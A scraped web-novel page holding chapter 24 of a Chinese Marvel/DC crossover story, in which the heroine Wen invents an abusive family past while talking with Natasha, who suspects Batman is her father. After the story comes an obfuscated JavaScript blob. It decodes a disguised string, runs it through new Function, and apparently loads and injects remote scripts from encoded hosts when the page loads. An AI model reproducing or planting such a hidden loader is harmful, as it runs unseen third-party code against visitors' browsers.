首页
24、温和自我代入感
返回

24、温和自我代入感

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    娜塔莎搬到隔壁没有影响到温的生活,反正她也没什么生活能给对方去影响。
    她基本上每天都缩在房间里玩游戏,偶尔出门逛一逛周围,一定要说娜塔莎对她有什么影响的话……也许娜塔莎神不知鬼不觉地出现在她的房间里算一个?
    但娜塔莎在出现之后也不会多做什么,只是会给温做饭。
    对,娜塔莎会做饭,各种国家的菜系都会,还做得很好吃。
    她连材料都会准备好了再带过来,有好几次温都是被充盈的热腾腾香气中走出卧室的。不能睡觉让她的时间观念变得很淡薄,经常玩到想休息了,才去看看现在究竟什么时间。
    或者根本不看,反正时间已经失去了意义。
    温蒂对此只要有机会就会对温一阵冷嘲热讽,骂她浪费生命,骂她一无是处……每次温都讨好地夸温蒂,夸上几句,温蒂也就懒得搭理她了。
    某种意义上说温蒂还挺好哄的。
    没事就白吃白喝,温心里还有点过意不去,可是好像给娜塔莎付钱更不好。
    娜塔莎又不可能缺钱。
    她忍不住问娜塔莎:“你没有任务吗?”
    “嫌我烦了?”
    “没有,好奇而已,”温说,“我只是觉得复联的成员应该不会这么闲。”
    “我可不闲,”娜塔莎笑了,她笑的时候眼角会有温柔的纹路,亲切又动人,“复联也不像你想象得那么忙,你以为我们要做什么?处理档案,誊写文件?那是托尼的工作。”
    “……斯塔克先生?”温措辞谨慎地说,“他似乎不是那么……善解人意的性格。”
    其实她更想说“老妈子”,但这么评价娜塔莎的同事有点不礼貌。
    “他就是个老妈子,别人做他都不满意。”没想到这个形容被娜塔莎说出口了,“别看他玩得疯,其实是个完美主义加班狂,而且琐事都有他的智能管家为他处理,工作也有佩普——别看他这样,他可是承担了复联大多数工作的人。”
    温默默点头。
    她没好意思说她几乎不了解托尼·斯塔克是什么人,她又不爱看八卦新闻,也不爱看科技、经济相关的新闻。
    温只喜欢不费脑子的沙雕梗。
    新的世界,新的沙雕,她每天刷都还没刷腻,总是才刚觉得有点腻味了,只要放下手机做点别的,就能重新提起兴趣。
    不过就算不关心斯塔克先生经常出没的那些新闻,他出现在其他地方的频率也很高,重合很多人的转述里,温大概能拼凑出对方的性格。
    张扬,嚣张,巨富,高智商,钢铁侠,和现在订婚的未婚妻在一起前是出名的花花公子。
    和他一起被频频提及的还有一个名字,布鲁斯·韦恩。
    据说这位布鲁斯·韦恩和托尼·斯塔克曾经一人撑起花边新闻的半边天,不过斯塔克先生成功靠着宣布自己钢铁侠的身份和订婚两件事给自己洗白,现在是出了名的“回头浪子”。
    如今的美国绯闻界只能靠着韦恩先生一肩承担了,不知道有多少人这么感叹。
    温莫名觉得这位韦恩先生很辛苦。
    一个人撑起全美的绯闻啊!
    他年纪也不小了,现在肾功能还好吗……
    出于好奇,温还去搜过这位韦恩先生的照片。长得倒是一点也不显老,放出去说他三十出头都有人信。
    而且在围观沙雕网友为了“究竟托尼更帅还是布鲁斯更帅”吵架的时候,温已经对这两位的颜值做好了准备,没想到当她点开大图,依然因为那张脸受了暴击。
    长这么帅,凭什么还这么有钱。
    世界也太不公平了。
    你看温蒂,长得漂亮,脑子好用,舞蹈天赋很高,上天就收走了她的健康,还让她年纪轻轻就失去了父亲……
    对了,温蒂,你母亲还健在吗?
    ——不清楚,她生了我没多久就跑了。
    哇那你爹也有点惨啊,女朋友生了孩子就把他踹了。不过你长得这么好看,你母亲肯定不丑,说不定跑了之后嫁了个不错的男人。
    一直在静静观察温的娜塔莎忽然开口:“不谈谈你自己吗?”
    “我没什么好谈的啊。”温说,“怎么看都是你的人生更精彩一点,更有聊头。”
    娜塔莎的神色中流露出一点落寞:“其实有时候,我也会羡慕普通人的人生。特工的生活可不像影视作品那样有趣,险象环生的情境只有观看的人才会觉得刺激,真的身处其中的人,往往更渴望平凡。”
    道理温都懂,可这话还真是处处都透着装逼的情绪。
    虽然在心里吐槽,但不得不说温确实被娜塔莎的情绪打动了。
    像这样充满故事的成熟美人是很能让纯情少男心碎的吧?会想要用自己的肩膀去给她依靠,会希望自己能尽快长大,去柔声细语地给她安慰。这种想法实在是难以自控,明知道她是绝不会为了男孩留步的女人,可她那种随时都可能抽身而去的洒脱和神秘也独具魅力。
    当然不仅仅是对纯情少男,对少女,她也……
    温都有点分不清这到底是温蒂的想法还是自己的想法了。
    “我的人生也不是什么普通人的人生。”她说,“我的话……我诞生在一个扭曲的家庭里,父亲是个有钱的花花公子,有点像斯塔克先生,不过不同的是我的父亲同情心泛滥,他还收养了三个养子,两个比我大,一个比我小。”
    “我和家里的关系很差。”
    她淡淡地在这段上一笔带过了。
    总是反复告诉别人自己的家庭有多烂并不是舒服的事情,即使她的理智知道自己在撒谎,可随着谎言的不断加深,越来越趋向于完善的细节总会让温产生不愉快的共鸣。
    常年的寄宿制学校生活,严苛的芭蕾基础训练。
    不负责任的父亲。
    每一件事都是假的,每一件事都那么逼真,温觉得这些谎言里或许也掺杂了不少真实的部分,她知道,芭蕾舞训练就一定是真的。
    可芭蕾舞在叙述中出现得很少,每次出现也只是为了那个虚假的父亲做铺垫,用来凸显出“父亲”的常年缺席和漠不关心。
    “我的父母对我也不怎么样。”娜塔莎换了个姿势靠坐在沙发上,“我告诉过你吗?我的父母就是我的第一任教官,他们是狂热的战士,发现我的天赋之后,他们就开始培养我成为一位特工,那是冷战时期,他们希望我能他们心中最伟大的事业奉献一切。”
    最伟大的事业……人类崛起?
    不过既然娜塔莎的态度这么认真,温也认真起来。
    “虽然你可能会宁愿自己没有这样的父母,但是对我来说,我会觉得即使是糟糕的相处,也比没有相处好。”
    “因为没有相处就是一道空隙,一道堤坝上被虫蛀出的孔洞。”温思索着说,“就像一个故事缺少了至关重要的开头——那一部分是空白的,不管后续有多精彩,空白的地方依然空白。”
    空虚感。
    这一连串的谎话里最重要的就是空虚感,因为一个人从婴儿降生于世起是完全空白的,她的人生将由她自己书写,可最开始的那部分确实不属于她自己。
    那段不由她书写的故事很大程度上会定义她的人生,而如果那部分是空白的,她也不可能由自己补上。
    空白的将永远空白。
    整个一生里,那种迷惑和空虚感将永远不会消失,无论她自己在后续的书页上书写什么,那种缺憾都绝无可能被弥补。
    “你恨他?”娜塔莎好奇地问。
    一定程度上说温感觉到自己被冒犯了,怎么可能不去恨?如果这段经历是真的,如果她真的有这么一个糟糕透顶的父亲,她绝对会恨他恨得咬牙切齿,她会离开他,跑得越远越好。
    可温想了想后说:“我更爱他。”
    真糟糕。这段空白的过去最惨痛的部分,就是那个造就了空白的人还在,而且一直都在,像是在饥饿的人面前放了一桌子香喷喷的大餐,没几个人能忍得住不去得到自己应该得到的那部分,那个故事最开始就该拥有的开头。
    她会渴望得到父亲的关爱,渴望到这种需求远胜过其他任何。
    在自己的心情开始变差前温及时打住:“我不想再说我父亲的事情了。”
    为什么撒个谎会把自己的心情搞得这么坏啊!
    难道是她的自我代入感太强?
    可是再怎么讲,她说的谎也和自己的过去有关,不结合自己的心境怎么才骗得过别人……其实前面她遇到的几个都很好骗,彼得好骗,戴安娜好骗,巴里同样好骗。
    娜塔莎一点也不好骗。
    娜塔莎把自己装得再温柔,再可亲,温也能感觉到她心底的不信任。
    这种不信任可能是特工的本能,也有可能是哪点没装好所以引起了怀疑,不过在娜塔莎询问她之前,她根本就没跟娜塔莎讲过自己的过去……
    不对,她没和娜塔莎讲过,但她和戴安娜讲过!
    温:妈的我是不是要翻车了?
    早知道当初就不撒谎了,为什么一开始她就选择用谎言来应对这些问题?当时是脑子抽了还是怎么回事,现在好了,谎越说越大,越大越不好圆。
    温慌张地在心中反省着她过去说的那些谎到底有没有对立的逻辑错误。
    然而她说谎的时候真的完全没过脑子,全靠身体本能,现在哪怕想回忆,都回忆不起来自己说了什么。
    娜塔莎也没追问。
    在温松了口气的时候,她冷不丁又说:“既然不说你的父亲,那聊聊你的养兄弟?”
    温想也不想:“有什么好聊的?”
    愿意说起父亲的事,但是不愿意谈及养兄弟,娜塔莎观察着温的表情,知道温对这个问题其实并没有强烈的恶意。
    ——她只是单纯不想谈到他们。
    娜塔莎见好就收:“如果你不愿意说……”
    “不,没什么不愿意的。”
    温狠了狠心,前面满嘴的胡言乱语都放出去了,说出去的话就是泼出去的水,收是不可能收回来,那干脆要说谎就说个大的,把细节都补齐了。
    谎言的细节越多就越真实,而且最重要的是,细节越多,就越不容易和现实中正存在的某些人对上号。
    谁知道世界上会不会真的有那种收养了三个儿子的有钱人?据她所知,不少有钱人都喜欢收养小孩彰显爱心,没准儿就真的有人能和她描述的家庭对上号。
    为了避免这种后果,还是编造更多的细节混淆视线吧,反正她说谎都不用过脑子的,小事一桩。
    别人要是真的照着她说的那些谎去找人……
    根本不存在的人,爱找就去找。
    找得着算她输!
    “我和养兄关系很一般,可能在外人看来还算是很不错。”温摆弄着手指,“他们毕竟是被我父亲收养的,也不会蠢到和我作对。就算我很少在家,我也是父亲的亲生女儿,这个身份是永远不会改变的,所以如果一定要我说的话——”
    “他们还有点讨好我吧。”温笑了,似乎是觉得这种局面很滑稽。
    “最大的养兄是全家脾气最好的,第二个养兄脾气最炸,他们两个的关系有点紧张,老吵架和打架。不过只要我在家,他们就会不吵不闹地乖乖坐在一起。”
    娜塔莎在心里把这两个养兄对上了号。
    最大的养兄显然是迪克,也就是夜翼,第二个养兄应该是杰森,现在的红头罩。
    复联和正联偶尔会因为超反的越狱事件短暂地进行合作,娜塔莎和蝙蝠侠短暂地接触过几次,大致知道对方是个什么性格。
    但夜翼和红头罩,她就不怎么了解了,只是惯例地在查看资料时了解了一下这两位擅长的方向,和他们大致的性格。
    夜翼的脾气确实还不错,红头罩也确实一点就炸。
    他们的关系到底是好是差说不清楚,不过这兄弟俩一见面就打架是众人皆知的。
    能在温在场的时候收敛自己,看来温和她养兄的关系都还挺好的?
    “你和他们相处得很不错。”娜塔莎说,“算是件好事。”
    你太天真了,温想,这个谎话里不会出现这种美好的事情。
    “不。”她毫不疑迟地否认道,“我不喜欢他们。”
    娜塔莎的表情没什么变化,但眼神中很好地透露出一点疑惑。
    “最开始我和第一个养兄相处得很不错,他比我大几岁,脾气好爱讲笑话,对我的态度是全家最亲热的。开始我还有点排斥他,后来就渐渐接受这个养兄的存在。”温说,“我们的关系恶化是从他和父亲吵架吵到从家里搬走开始的。”
    “父亲一直都很重视他,当然他也确实非常优秀,无论是学习还是社交,或者体育,完全没有弱点。他得到的奖牌摆满了书架,后来管家还专门为他开辟了一个房间去存放那些东西。”
    这个养兄很厉害,他能得到父亲的关注和培养,所以也许在某一段时间里,她甚至是有点崇拜他的。
    “我羡慕他。”温说,“我羡慕他能得到父亲的认可,而在他和父亲吵架离家之后,这种感情就变得……”
    愤怒,痛恨,不光是对这个养兄的,不光是因为他得到了她怎么也得不到的东西,更不光是因为他在得到后不仅不珍惜,还毫不犹豫地抛弃了它。
    她最愤怒和痛恨的是她自己。
    温深吸一口气,压下心中的酸涩之意:“……总之,我和他完全闹崩了。”
    娜塔莎沉吟了几分钟。
    第一代罗宾和蝙蝠侠吵架后脱离了蝙蝠侠,更换代号为夜翼的事情,在他们的圈子里不是秘密。
    不过也很少有人知道蝙蝠侠的家庭内部都发生过什么事情,外人最多听说的事情就是——
    蝙蝠侠的助手罗宾和自己的导师闹翻了,罗宾脱离蝙蝠侠单干了;
    蝙蝠侠找到了新的助手罗宾,第二代罗宾又和他闹翻了,第二代罗宾罗宾又脱离蝙蝠侠单干了;
    蝙蝠侠有了新的第三任助手罗宾,这一任罗宾还没有和他闹翻,不过根据前两任的经验,恐怕要不了多久……
    这些就是他们所知道的全部,没有人知道温在这个家庭中是什么地位。
    想想还真是有趣,娜塔莎想道,温的整个人生都在因为她父亲和养兄们的秘密身份受到影响,而她自己却对造成了所有悲剧和误解的秘密一无所知。
    又一个超级英雄的牺牲品。
    “抱歉,都是因为我问起你的过去,你才会回忆那么多难受的经历。”她说,“让我想想怎么补偿你。”
    “补偿?不用,完全用不着。”温愉快地笑了,“我现在看起来很难受?那是你的错觉,娜塔莎,我现在一点也不伤心。我不仅不伤心,还很高兴。”
    娜塔莎探究地看着她:“介意我问为什么吗?”
    温没有第一时间回答娜塔莎的问题,而是在停顿了一下后说:“虽然你说话的时候总是用问句,可你的态度和语气完全就不像是允许我拒绝的样子。”
    “如果我让你感到不舒服了……”
    温无所谓地摆手:“没关系,我只是感叹一句。你问我为什么高兴——”
    当然是因为一想到这个家庭根本就不存在,她就由衷地觉得自己的人生太幸福美满了啊!
    说真的,温在过去一直都觉得自己的家庭虽然幸福,但是也很普通。
    没想到这种普通的幸福一点也不多见!
    她心里这么想,说出口的却是另一回事:“我高兴,当然是因为我再也不用忍受那一切了啊!我再也不会回家了!”
    “他们很有可能会找到你的。”娜塔莎说,“你可没怎么隐藏过自己的行踪。”
    其实藏得相当好了,娜塔莎费尽九牛二虎之力,都只能查到温近半年来的活动痕迹,而且绝大多数活动痕迹都是温去医院看病的记录。
    她的过去则毫无痕迹。
    托尼能查到的东西娜塔莎也查到了,她可不相信那些写在书面上的出生记录和户.籍.证明,那些东西十成十是假的。
    至于温能不能真的瞒过蝙蝠侠……
    短时间内应该没问题,毕竟她制造的记录实在是完美无缺,不过娜塔莎相信,蝙蝠侠迟早能找上门来。
    “不——”温笑了,“他们绝对找不到我。”
    他们根本就不在这个世界上。
    傻了吧你们?他们根本就不存在!
    温自信满满的态度引来了娜塔莎的怀疑,不过一想到温不知道她的父亲就是蝙蝠侠,而温的一系列资料确实伪装得像模像样,她也就释怀了。
    真想知道蝙蝠什么时候才能发现温离家出走了。
    她看了一眼温脸上没心没肺的笑容,又回忆起温在讲起家庭时冷漠的、带着讥讽的神色,忽然觉得看蝙蝠侠的好戏这件事,也变得不是很那么有吸引力。
    也许对温来说,永远不被父亲找到的生活,才是她真正想要的。
    毕竟她看起来虽然仍对自己的过去心有芥蒂,却同时也准备好了重新开始。
    娜塔莎心里转过了好几个念头,暗暗想好了该用什么方式去补偿温——也许她该在温隐藏过去的工作上添砖加瓦?
    蝙蝠侠是一定会找到温的,这一点毋庸置疑,可能迟一点就迟一点吧。
    让温多开心一段时间。
    这段对话没有影响到温的心情,她在说谎的过程里会短暂地和她的谎言产生共情,可谎话一说完,她能把自己刚才说了些什么给忘得一干二净。
    刚开始撒谎的时候,温还胆战心惊,害怕自己不小心就把这些东零西落的谎话说得逻辑不通,可越往后她就越看得开,现在的心情已经能用破罐破摔形容。
    说都说了,她还能怎么样?也只能硬着头皮撑下去了。
    也许她的谎言会被揭穿,可要是真的到了那时候,温可能还会松一口气。
    她真的是个没怎么说过谎的普通人,平时撒个小谎,也就只在“不好意思我明天有约了”这个程度,像是现在这样给自己杜撰一个垃圾爹,还让听众都信以为真,还是让温产生了一点负罪感。
    不过只有一点点,非常微小的一点点。
    温自己都被自己的道德感震惊了,她以前可一直都觉得她是个不错的好人的!
    然后她就无所谓地放下了这点负罪感。
    道德底线低怎么了,道德底线低的人活得别提有多快乐了,更何况她除了撒个谎也没做别的坏事。
    而且其他人信没信她的谎话,温不知道,但娜塔莎肯定是没有全信的。
    娜塔莎的态度和她之前遇到的每一个人都不一样,小蜘蛛对于她的谎言半信半疑,可他的半信半疑里更多是一种“我觉得这件事背后说不定有什么误会”,戴安娜对她的谎言总体态度是又爱又怜,她不关注温所讲述的故事内容,她关注的是温本身。
    戴安娜的行事逻辑里有种粗野的豪爽,细节如何不重要,重要的是出现在她面前的温身体虚弱,体质极差,正处于离家出走之中。
    ——既然温变成了这样,那么她原本的家庭肯定有错。
    戴安娜只要知道这个就够了。
    而闪电侠……他已经被温发烧和吃药的事情给吓得半死了,根本没心情去仔细分辨温说的话有没有问题。
    他的表现也怪怪的,就好像他也认识和温口中那种垃圾爹差不多的人似的。
    闪电侠几乎是毫无怀疑地相信了温的话。
    而娜塔莎?温说话的时候,她听得足够认真,面上总有点若有所悟的思索,光是表情就让温感到毛毛的。
    她又一次发出了感叹,特工果然是最不好骗的人了。
    不过为什么娜塔莎这个特工也像别人一样追问她的过去?这种特工难道不应该在接触对方前就把所有的资料查得一清二楚?
    温蒂在这个世界应该也有属于自己的过去才对,稍微一查就能识破她的谎言才对。
    自从上次控制了身体就久不露面的温蒂从意识深处浮了上来。
    ——我在这个世界没有过去。
    ——他们什么也查不到。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();